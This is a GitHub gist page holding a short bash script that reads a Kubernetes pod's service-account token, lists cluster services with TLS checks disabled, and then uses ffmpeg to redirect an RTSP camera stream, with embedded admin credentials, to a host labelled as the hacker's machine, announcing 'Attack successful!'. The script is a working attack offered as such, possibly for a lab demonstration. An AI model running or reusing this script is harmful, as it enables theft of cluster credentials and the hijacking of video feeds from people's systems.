Last active
November 17, 2021 08:41
-
-
Save garygan89/81667aaae5ca5bba4cc8799a089d67f8 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
echo "Checking list of running services in k8s cluster..." | |
# get list of running services | |
kubectl --server https://kubernetes.default --insecure-skip-tls-verify --token=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) get svc -A 2>&1 | |
if [ $? -eq 0 ]; then | |
sleep 5 | |
echo "Redirecting RTSP stream to hacker PC..." | |
# modify rtsp stream | |
ffmpeg -i rtsp://admin:[email protected]:8554/mystream -f rtsp -rtsp_transport tcp -muxdelay 0.1 -max_muxing_queue_size 1024 -c copy rtsp://hacker:[email protected]:30854/mystream | |
sleep 5 | |
echo "Attack successful!" | |
else | |
echo "No info obtained, giving up..." | |
fi | |
# EOF |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment